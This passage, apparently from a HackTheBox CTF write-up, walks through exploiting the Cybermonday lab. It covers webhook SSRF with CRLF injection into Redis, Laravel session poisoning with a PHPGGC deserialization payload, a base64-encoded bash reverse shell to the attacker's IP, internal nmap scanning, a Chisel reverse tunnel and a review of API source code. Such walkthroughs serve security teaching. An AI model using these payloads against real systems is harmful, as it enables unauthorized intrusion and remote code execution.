{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"3bc45560-46c3-4f6d-a5b0-6524b57100fd"}
To trigger it, I’ll need a url
and a method
. I’ll start a Python webserver and request a file that doesn’t exist on my server:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/3bc45560-46c3-4f6d-a5b0-6524b57100fd -H "x-access-token: $ADMIN" -d '{"url": "http://10.10.14.6/test", "method": "GET"}' -H "Content-type: application/json"
{"status":"success","message":"URL is live","response":"<!DOCTYPE HTML>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <title>Error response<\/title>\n <\/head>\n <body>\n <h1>Error response<\/h1>\n <p>Error code: 404<\/p>\n <p>Message: File not found.<\/p>\n <p>Error code explanation: 404 - Nothing matches the given URI.<\/p>\n <\/body>\n<\/html>\n"}
The full 404 response comes back, and there’s a hit at my server:
oxdf@hacky$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.228 - - [28/Nov/2023 19:12:56] code 404, message File not found
10.10.11.228 - - [28/Nov/2023 19:12:56] "GET /test HTTP/1.1" 404 -
CRLF Injection
If I want to interact with a non HTTP service, I can’t just use HTTP unless I figure out what to do with the headers. One idea is gopher
, but it doesn’t work:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/3bc45560-46c3-4f6d-a5b0-6524b57100fd -H "x-access-token: $ADMIN" -d '{"url": "gopher://10.10.14.6/test", "method": "GET"}' -H "Content-type: application/json"
{"status":"error","message":"Only http protocol is allowed"}
Another idea is to play with the method. Does it have to be valid? When I send {"url": "http://10.10.14.6/test", "method": "0xdf"}
, the result at nc
listening on my host is:
oxdf@hacky$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.228 45018
0xdf /test HTTP/1.1
Host: 10.10.14.6
Accept: */*
So there’s no method validation. Can I put in newlines? I’ll try {"url": "http://10.10.14.6/test", "method": "0xdf\r\nline 2\r\nline3"}
, and it works:
oxdf@hacky$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.228 45400
0xdf
line 2
line3 /test HTTP/1.1
Host: 10.10.14.6
Accept: */*
This is perfect, as now I can send whatever I want at the top of the request.
Shell
Strategy
The idea is that I’m going to use the SSRF to interact with Redis, and set the session data for my user to a payload to perform a deserialization attack. Then when I refresh the main site, the payload will be deserialized and I’ll get execution.
This step takes a ton of playing around with, and it’s mostly blind, though Ippsec and I were able to figure out some neat tricks to get some signal back. I can’t show all the failures it took to get to a working payload in a blog post, but it was many.
I also went down some rabbit holes trying to send data in the Redis serialization protocol (inspired by this gist), but later figured out I could just use the ASCII commands and it works too, so I’ll work with that.
Fail Getting Redis Output
My first though is to try run the simplest Redis command, ping
(docs). It should just return “PONG”. I’ll try that in my SSRF payload, but it returns the “URL is not live” error:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/3bc45560-46c3-4f6d-a5b0-6524b57100fd -H "x-access-token: $ADMIN" -d '{"url": "http://redis:6379", "method": "\r\nPING\r\n"}' -H "Content-type: application/json"
{"status":"error","message":"URL is not live"}
Unfortunately, it just returns an error. That suggests that either I’m doing something wrong, or that the response isn’t what the Webhook is expecting and it crashes.
I can try other things like listing keys, but same result:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/3bc45560-46c3-4f6d-a5b0-6524b57100fd -H "x-access-token: $ADMIN" -d '{"url": "http://redis:6379", "method": "\r\nkeys *\r\n"}' -H "Content-type: application/json"
{"status":"error","message":"URL is not live"}
It still fails. Unfortunately, however the webhook code is set up, it can’t seem to get data back from Redis. This makes sense as the webhook is expecting an HTTP response back. Based on looking at the payloads if I send them to myself, they look right, so I’m going to proceed blind.
Write Key and Exfil
I’m also going to switch into Burp Repeater for sending requests. The payloads are about to get complex, and I’ll need to be able to use both single and double quotes, which from the bash
command line is a huge pain. I’ll add -x localhost:8080
to the end of a curl
command, and that sends it to Burp, where I can find it in my history and send that request to repeater.
I want to be able to write a key, so I can try something like this:
The challenge here is to know if that worked. To check, I’m going to stand up my own Redis server in a Docker container, making sure to forward port 6379 on my VM to that port on the container:
oxdf@hacky$ docker run redis
Unable to find image 'redis:latest' locally
latest: Pulling from library/redis
1f7ce2fa46ab: Pull complete
3c6368585bf1: Pull complete
3911d271d7d8: Pull complete
ac88aa9d4021: Pull complete
127cd75a68a2: Pull complete
4f4fb700ef54: Pull complete
f3993c1104fc: Pull complete
Digest: sha256:2976bc0437deff693af2dcf081a1d1758de8b413e6de861151a5a136c25eb9e4
Status: Downloaded newer image for redis:latest
oxdf@hacky$ docker run -p 6379:6379 redis
1:C 29 Nov 2023 19:58:28.791 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low
memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for
this to take effect.
1:C 29 Nov 2023 19:58:28.791 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 29 Nov 2023 19:58:28.791 * Redis version=7.2.3, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 29 Nov 2023 19:58:28.791 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1:M 29 Nov 2023 19:58:28.791 * monotonic clock: POSIX clock_gettime
1:M 29 Nov 2023 19:58:28.792 * Running mode=standalone, port=6379.
1:M 29 Nov 2023 19:58:28.792 * Server initialized
1:M 29 Nov 2023 19:58:28.792 * Ready to accept connections tcp
In a different window, I’ll get a session with that Redis instance:
oxdf@hacky$ redis-cli
127.0.0.1:6379> keys *
(empty array)
To get a key from Cybermonday’s Redis, I’ll use the MIGRATE
command. It’s important to be careful with this command. The docs say:
This command actually executes a DUMP+DEL in the source instance, and a RESTORE in the target instance.
It will delete the key from the current server and send it to the new one by default. If I add the COPY
directive, it won’t delete, which is nice (though for the test key I just created and later for my own session information, deleting is ok as well). I’ll also add the REPLACE
command. This tells Redis to overwrite the key in my instance if it’s already there.
The syntax I’ll use for MIGRATE
is MIGRATE [host] [port] [key] [destination-db] [timeout] COPY REPLACE
.
I’ll send the command:
In my local instance, the key is there with the data:
127.0.0.1:6379> keys *
1) "0xdftestkey"
127.0.0.1:6379> get 0xdftestkey
"this is test data"
I can write keys into Redis!
Decrypt Session ID
Laravel stores the session data for a session in Redis under the key formatted as [prefix][sessionid]
. I have the prefix laravel_session:
from the .env
file. I need to get the session ID from the cookie.
I’ll take a look at an existing Laravel session cookie, pulling the cybermonday_session
cookie from my browser dev tools:
eyJpdiI6IlZKRWZNMkRDT1QwRmxPdXROMmsxbHc9PSIsInZhbHVlIjoiYjlhSU0xUmViUkNxdEhMejhibTJFTjZrVkp2SHhQRDd4TkJCN0dYSk1YODBtZVkxa2dJb29PVlNpL05Ga2xXeTMralRDN0kzZmdrejJ2ZEJIN24yamI5ZDFqSFMzdy9KV29TODFRRVpoYUpMS0FmbE5JbUtrWEVjVUgvcG5yWGUiLCJtYWMiOiI1MWJlOTZiMjVkNTdhZTMzZjE1OGZmZjdjZjJkN2FhYTBiMzBlN2YyZmNkODA5YzQ4Yzk2NTc4NDlkYzA3M2U3IiwidGFnIjoiIn0%3D
It’s a big URL-encoded base64-encoded blob. I’ll replace the %3D
with =
and decode it (using jq
to pretty print):
oxdf@hacky$ echo "eyJpdiI6IlZKRWZNMkRDT1QwRmxPdXROMmsxbHc9PSIsInZhbHVlIjoiYjlhSU0xUmViUkNxdEhMejhibTJFTjZrVkp2SHhQRDd4TkJCN0dYSk1YODBtZVkxa2dJb29PVlNpL05Ga2xXeTMralRDN0kzZmdrejJ2ZEJIN24yamI5ZDFqSFMzdy9KV29TODFRRVpoYUpMS0FmbE5JbUtrWEVjVUgvcG5yWGUiLCJtYWMiOiI1MWJlOTZiMjVkNTdhZTMzZjE1OGZmZjdjZjJkN2FhYTBiMzBlN2YyZmNkODA5YzQ4Yzk2NTc4NDlkYzA3M2U3IiwidGFnIjoiIn0=" | base64 -d | jq .
{
"iv": "VJEfM2DCOT0FlOutN2k1lw==",
"value": "b9aIM1RebRCqtHLz8bm2EN6kVJvHxPD7xNBB7GXJMX80meY1kgIooOVSi/NFklWy3+jTC7I3fgkz2vdBH7n2jb9d1jHS3w/JWoS81QEZhaJLKAflNImKkXEcUH/pnrXe",
"mac": "51be96b25d57ae33f158fff7cf2d7aaa0b30e7f2fcd809c48c9657849dc073e7",
"tag": ""
}
It’s got an iv
and a value
. In Laravel, the session cookie is AES encrypted using the key. I happened to leak that key in the .env
file above. I’ll decrypt it with CyberChef:
The input gets base64 decoded, and then decrypted using the key and iv:
25c6a7ecd50b519b7758877cdc95726f29500d4c|cKMtZmoEsIHCsLQOH8XBuPYOnIwUIryDCRkSOAYZ
The half after the pipe is the session id.
Replace Session Data
With the session id, plus the prefix from the .env
file, I can try to poison the session data. I’ll start with a dummy string, using set laravel_session:cKMtZmoEsIHCsLQOH8XBuPYOnIwUIryDCRkSOAYZ 0xdf_was_here
:
I’m doing both the set and the exfil of the result here. I can verify it worked by checking my Redis:
127.0.0.1:6379> keys *
1) "0xdftestkey"
2) "laravel_session:cKMtZmoEsIHCsLQOH8XBuPYOnIwUIryDCRkSOAYZ"
127.0.0.1:6379> get laravel_session:cKMtZmoEsIHCsLQOH8XBuPYOnIwUIryDCRkSOAYZ
"0xdf_was_here"
More importantly, when I refresh http://cybermonday.htb
in the browser, it crashes!
It’s calling unserialize
on the payload and crashing!
Deserialization Payload
PHPGGC is the tool for creating deserialization payloads for PHP. This will use the gadgets available from various popular PHP frameworks to get execution. I’ll list and look at the Laravel ones:
oxdf@hacky$ ./phpggc -l | grep -i laravel
Laravel/FD1 * File delete __destruct *
Laravel/RCE1 5.4.27 RCE: Command __destruct
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE: Command __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE: Command __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE: Command __destruct
Laravel/RCE5 5.8.30 RCE: PHP Code __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE: PHP Code __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE: Command __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE: Command __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE: Command __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE: Command __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE: Command __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE: Command __destruct *
Laravel/RCE13 5.3.0 <= 9.5.1+ RCE: Command __destruct *
Laravel/RCE14 5.3.0 <= 9.5.1+ RCE: Command __destruct
Laravel/RCE15 5.5.0 <= v9.5.1+ RCE: Command __destruct
Laravel/RCE16 5.6.0 <= v9.5.1+ RCE: Command __destruct
Laravel/RCE17 10.31.0 RCE: Command __destruct
Laravel/RCE18 10.31.0 RCE: PHP Code __destruct *
I know from the debug crash that this is Laravel 9.46.0. There are none that specifically include this version, but many end with a “+”, suggesting they go higher. I’ll focus on 9-11 and 13-16. I also want gadgets that have all ASCII characters. The biggest risk is null bytes. For example, RCE9
:
There may be a way to encode that, but I’d rather start with one with no nulls. I’ll write myself a quick bash
loop to check each payload, and RCE10
jumps out as the winner:
oxdf@hacky$ for num in 9 10 11 13 14 15 16; do ./phpggc Laravel/RCE${num} system id | grep -Paq "\x00" || echo "RCE${num} is good"; done
RCE10 is good
I’ll grab that payload:
oxdf@hacky$ ./phpggc Laravel/RCE10 system id
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:2:"id";}i:1;s:4:"user";}}
RCE POC
I’ll take the payload from above and drop it into Burp. I’ll need to wrap it in single quotes for Redis to handle it. When I first paste it in, Burp makes it clear that my double quotes are off with the coloring:
If I send this, it does fail:
The server can’t extract the url
parameter because of the unescaped double quotes.
Once I escape the inner double quotes, it looks like this:
Sending this still fails, with the same \"url\" not defined
message. As I am using the \
to escape double quotes, I also need to escape the slashes.
On sending this, it goes back to the “good” fail message, but the key isn’t changed in my Redis instance. The issue is that I need to wrap that long payload in single quotes to set it as a key.
On sending that, I see the updated payload in my Redis:
127.0.0.1:6379> get laravel_session:cKMtZmoEsIHCsLQOH8XBuPYOnIwUIryDCRkSOAYZ
"O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:2:\"id\";}i:1;s:4:\"user\";}}"
On refreshing the page, there’s the output of the command at the top right!
That is code execution!
Shell
I’ll create a simple bash reverse shell payload and base64 encode it:
oxdf@hacky$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSIK
Now the payload I give to phpggc
doesn’t have to have quotes in it. I’ll make a payload:
oxdf@hacky$ ./phpggc Laravel/RCE10 system 'echo YmFzaCAtYyAiYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSIK|base64 -d|bash'
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:88:"echo YmFzaCAtYyAiYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSIK|base64 -d|bash";}i:1;s:4:"user";}}
I’ll update the request in Repeater. I actually only need to replace s:2:\"id\";}
with s:88:"echo YmFzaCAtYyAiYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSIK|base64 -d|bash";}
, or I can replace the entire thing (and re-escape as above):
The payload looks successful in Redis:
127.0.0.1:6379> get laravel_session:cKMtZmoEsIHCsLQOH8XBuPYOnIwUIryDCRkSOAYZ
"O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:88:\"echo YmFzaCAtYyAiYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSIK|base64 -d|bash\";}i:1;s:4:\"user\";}}"
When I refresh the page, it hangs, but there’s a shell at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.228 48826
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$
I’ll upgrade my shell using the standard trick:
www-data@070370e2cdc4:~/html/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@070370e2cdc4:~/html/public$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@070370e2cdc4:~/html/public$
Shell as john
Container Enumeration
Identify Container
This is very much a docker container. There are no users with home directories in /home
. Only the root user has a shell set in /etc/passwd
:
www-data@070370e2cdc4:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
Neither ip
nor ifconfig
are installed, but /proc/net/fib_trie
shows an IP of 172.18.0.7:
www-data@070370e2cdc4:~$ cat /proc/net/fib_trie
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.18.0.0/16 2 0 2
+-- 172.18.0.0/29 2 0 2
|-- 172.18.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.18.0.7
/32 host LOCAL
|-- 172.18.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.18.0.0/16 2 0 2
+-- 172.18.0.0/29 2 0 2
|-- 172.18.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.18.0.7
/32 host LOCAL
|-- 172.18.255.255
/32 link BROADCAST
In the filesystem root, there’s a .dockerenv
file:
www-data@070370e2cdc4:/$ ls -a
. bin etc lib32 media proc sbin tmp
.. boot home lib64 mnt root srv usr
.dockerenv dev lib libx32 opt run sys var
Typically Docker gives the host the .1 IP, and then numbers of from there, so there could be a bunch of containers here.
/mnt
I noted above that the Changelog file was in /mnt
. /mnt
is /dev/sda1
:
www-data@070370e2cdc4:/mnt$ mount | grep mnt
/dev/sda1 on /mnt type ext4 (ro,relatime,errors=remount-ro)
Looking at the files, it looks like a home directory:
www-data@070370e2cdc4:/mnt$ ls -la
total 40
drwxr-xr-x 5 1000 1000 4096 Aug 3 09:51 .
drwxr-xr-x 1 root root 4096 Jul 3 05:00 ..
lrwxrwxrwx 1 root root 9 Jun 4 02:07 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 May 29 2023 .bash_logout
-rw-r--r-- 1 1000 1000 3526 May 29 2023 .bashrc
drwxr-xr-x 3 1000 1000 4096 Aug 3 09:51 .local
-rw-r--r-- 1 1000 1000 807 May 29 2023 .profile
drwxr-xr-x 2 1000 1000 4096 Aug 3 09:51 .ssh
-rw-r--r-- 1 root root 701 May 29 2023 changelog.txt
drwxrwxrwx 3 root root 4096 Nov 28 19:53 logs
-rw-r----- 1 root 1000 33 Nov 10 00:11 user.txt
There’s user.txt
, though I can’t read it. There’s also a .ssh
directory. It doesn’t have any private keys, but there is an authorized_keys
file:
www-data@070370e2cdc4:/mnt$ ls .ssh/
authorized_keys
www-data@070370e2cdc4:/mnt$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday
The public key ends with john@cybermonday. I’ll note that as likely the owner of this directory.
logs
is also interesting, as it seems to have folders named after the name of the log webhooks:
www-data@070370e2cdc4:/mnt/logs$ ls
0xdf
www-data@070370e2cdc4:/mnt/logs$ ls 0xdf
test-1701202097.log test-1701256572.log test-1701258070.log
Network Enumeration
Identify Hosts
ping
isn’t installed on the container, so I’ll identify host by uploading a statically compiled nmap. When I try to run it, there are errors:
www-data@070370e2cdc4:/tmp$ ./nmap 172.18.0.0/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-11-29 02:23 UTC
Unable to find nmap-services! Resorting to /etc/services
Unable to open /etc/services for reading service information
QUITTING!
To fix this, I’ll upload a copy of /etc/services
and save it as nmap-services
in the same directory as nmap
.
I’ll start by scanning ips 1-10, assuming that Docker will give out IPs sequentially:
www-data@070370e2cdc4:/tmp$ ./nmap --min-rate 10000 172.18.0.1-10
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-11-29 02:28 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.0040s latency).
Not shown: 1154 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for cybermonday_db_1.cybermonday_default (172.18.0.2)
Host is up (0.0039s latency).
Not shown: 1155 closed ports
PORT STATE SERVICE
3306/tcp open mysql
Nmap scan report for cybermonday_api_1.cybermonday_default (172.18.0.3)
Host is up (0.0034s latency).
Not shown: 1155 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for cybermonday_nginx_1.cybermonday_default (172.18.0.4)
Host is up (0.0037s latency).
Not shown: 1155 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.5)
Host is up (0.12s latency).
All 1156 scanned ports on cybermonday_registry_1.cybermonday_default (172.18.0.5) are closed
Nmap scan report for cybermonday_redis_1.cybermonday_default (172.18.0.6)
Host is up (0.12s latency).
Not shown: 1155 closed ports
PORT STATE SERVICE
6379/tcp open redis
Nmap scan report for 070370e2cdc4 (172.18.0.7)
Host is up (0.21s latency).
All 1156 scanned ports on 070370e2cdc4 (172.18.0.7) are closed
Nmap done: 10 IP addresses (7 hosts up) scanned in 15.52 seconds
It finds 7 hosts, including their hostnames:
- 172.18.0.1 - The host, open on 80 and 22. 80 is probably forwarding to the nginx container.
- 172.18.0.2 -
cybermonday_db_1.cybermonday_default
- Listening on 3306. This must be the MySQL container. - 172.18.0.3 -
cybermonday_api_1.cybermonday_default
- Listening on port 80. nginx must be routing the API virtual host to this container. - 172.18.0.4 -
cybermonday_nginx_1.cybermonday_default
- Listening on port 80, routing through to the appropriate container. - 172.18.0.5 -
cybermonday_registry_1.cybermonday_default
- No listening. I’ll want to explore this further. - 172.18.0.6 -
cybermonday_redis_1.cybermonday_default
- Listening on 6379. This is the Redis DB. - 172.18.0.7 -
070370e2cdc4
- This is the container I am currently in.
Registry
The only container I haven’t seen yet or interacted with yet is the “registry” one. I’ll scan all ports to see what’s listening:
www-data@070370e2cdc4:/tmp$ ./nmap -p- --min-rate 10000 172.18.0.5
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-11-29 02:36 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.5)
Host is up (0.0015s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
5000/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 40.34 seconds
I’ll upload Chisel and make it executable:
www-data@070370e2cdc4:/tmp$ curl 10.10.14.6/chisel_1.8.1_linux_amd64 -o chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8188k 100 8188k 0 0 6443k 0 0:00:01 0:00:01 --:--:-- 6447k
www-data@070370e2cdc4:/tmp$ chmod +x chisel
I’ll start the server on my client (chisel_1.8.1_linux_amd64 server -p 8000 --reverse
), and then connect from the container (./chisel client 10.10.14.6:8000 R:5000:172.18.0.5:5000
). At the server the connection shows:
oxdf@hacky$ /opt/chisel/chisel_1.8.1_linux_amd64 server -p 8000 --reverse
2023/11/29 01:44:28 server: Reverse tunnelling enabled
2023/11/29 01:44:28 server: Fingerprint P5RKkfBLBMT7scAB8ZvNe2irKlIHVdqahiNWbOSh1rs=
2023/11/29 01:44:28 server: Listening on http://0.0.0.0:8000
2023/11/29 01:45:40 server: session#1: tun: proxy#R:5000=>172.18.0.5:5000: Listening
The root returns an empty response:
oxdf@hacky$ curl localhost:5000 -v
* Trying 127.0.0.1:5000...
* Connected to localhost (127.0.0.1) port 5000 (#0)
> GET / HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Cache-Control: no-cache
< Date: Wed, 29 Nov 2023 02:47:00 GMT
< Content-Length: 0
<
* Connection #0 to host localhost left intact
If this is a Docker Registry, then I should be able to list the repositories at /v2/_catalog
(according to this post), and it works:
oxdf@hacky$ curl localhost:5000/v2/_catalog
{"repositories":["cybermonday_api"]}
cybermonday_api Image
Access Image
I’ll use docker pull
to get a copy of the container on my system:
oxdf@hacky$ docker pull localhost:5000/cybermonday_api
Using default tag: latest
latest: Pulling from cybermonday_api
5b5fe70539cd: Pull complete
affe9439d2a2: Pull complete
1684de57270e: Pull complete
dc968f4da64f: Pull complete
57fbc4474c06: Pull complete
9f5fbfd5edfc: Pull complete
5c3b6a1cbf54: Pull complete
4756652e14e0: Pull complete
57cdb531a15a: Pull complete
1696d1b2f2c3: Pull complete
ca62759c06e1: Pull complete
ced3ae14b696: Pull complete
beefd953abbc: Pull complete
Digest: sha256:72cf91d5233fc1bedc60ce510cd8166ce0b17bd1e9870bbc266bf31aca92ee5d
Status: Downloaded newer image for localhost:5000/cybermonday_api:latest
localhost:5000/cybermonday_api:latest
I’ll start the container in the background:
oxdf@hacky$ docker run -d --rm localhost:5000/cybermonday_api
6fe34ad6bfa723f249007ebed44a6e0bcedac719f9b6f779aa95494fef5f85bd
oxdf@hacky$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6fe34ad6bfa7 localhost:5000/cybermonday_api "docker-php-entrypoi…" 4 seconds ago Up 2 seconds quirky_hoover
And get a shell in it:
oxdf@hacky$ docker exec -it quirky_hoover bash
root@6fe34ad6bfa7:/var/www/html#
Image Enumeration
The shell starts in /var/www/html
, which has the API source code:
root@da704af94107:/var/www/html# ls
app bootstrap.php composer.json composer.lock config.php keys public vendor
Otherwise, the image is completely empty. Nothing in /home
, /root
, /opt
, /srv
. /var/backups
is empty.
API Source Analysis
Overview
I’ll return to the source code in /var/www/html
. So that I can use VSCode to look at it, I’ll copy it to my host:
oxdf@hacky$ docker cp quirky_hoover:/var/www/html ./api
Successfully copied 3.26MB to /home/oxdf/hackthebox/cybermonday-10.10.11.228/api
oxdf@hacky$ ls api/
app bootstrap.php composer.json composer.lock config.php keys public vendor
The config.php
file has information for connecting to the database:
<?php
return [
"dbhost" => getenv('DBHOST'),
"dbname" => getenv('DBNAME'),
"dbuser" => getenv('DBUSER'),
"dbpass" => getenv('DBPASS')
];
The config values are stored in environment variables.
On opening it in VSCode, I’ll scan it with Snyk, and it reports 20 vulnerabilities. Most of them are crypto-related (weak hash SHA1, “Inadequate Padding”), but there are three that are Path Traversal:
WebhooksController
The issue in WebhooksController.php
is where log files are created. I played with this previously. Snyk is seeing this:
case "createLogFile":
if(!isset($this->data->log_name) || empty($this->data->log_name))
{
return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
}
if(!isset($this->data->log_content) || empty($this->data->log_content))
{
return $this->response(["status" => "error", "message" => "\"log_content\" not defined"], 400);
}
$response = webhook_createLogFile($webhook_find->name, $this->data->log_name, $this->data->log_content);
return $this->response(array_diff_key($response, ["status_code" => '']), $response["status_code"]);
It thinks that the log_name
being passed into webhook_createLogFile
is unfiltered, which it is at this point. webhook_createLogFile
is defined in app/functions/webhook_actions.php
, and this is where the check that it only contains letters and numbers is:
function webhook_createLogFile($webhook_name, $log_name, $log_content)
{
$log_path = "/logs/{$webhook_name}/";
if(!is_dir($log_path))
{
mkdir($log_path);
}
if(!preg_match("/^[A-Za-z0-9]+$/", $log_name))
{
return ["status" => "error", "message" => "Only letters and numbers are allowed in the \"name\"", "status_code" => 400];
}
$log_file = $log_path . trim($log_name) . "-" . time() . ".log";
file_put_contents($log_file, $log_content."\n", FILE_APPEND);
return ["status" => "success", "message" => "Log created", "status_code" => 201];
}
So that’s a false positive.
LogsController
The other two are in LogsController.php
. It takes a request, first calling apiKeyAuth()
and then getting the associated webhook:
class LogsController extends Api
{
public function index($request)
{
$this->apiKeyAuth();
$webhook = new Webhook;
$webhook_find = $webhook->find("uuid", $request->uuid);
I’ll come back to apiKeyAuth
later.
If it doesn’t exist or is the wrong type, it returns an error:
if(!$webhook_find)
{
return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
}
if($webhook_find->action != "createLogFile")
{
return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
}
Next it validates that the action
value is correct, not empty, and that if the action
is “read”, that the log_name
is set:
$actions = ["list", "read"];
if(!isset($this->data->action) || empty($this->data->action))
{
return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
}
if($this->data->action == "read")
{
if(!isset($this->data->log_name) || empty($this->data->log_name))
{
return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
}
}
if(!in_array($this->data->action, $actions))
{
return $this->response(["status" => "error", "message" => "invalid action"], 400);
}
$logPath
is set based on what is stored in the webhook, and then it switches based on the action
:
$logPath = "/logs/{$webhook_find->name}/";
switch($this->data->action)
{
If the action
is “list”, it returns the contents of this directory:
case "list":
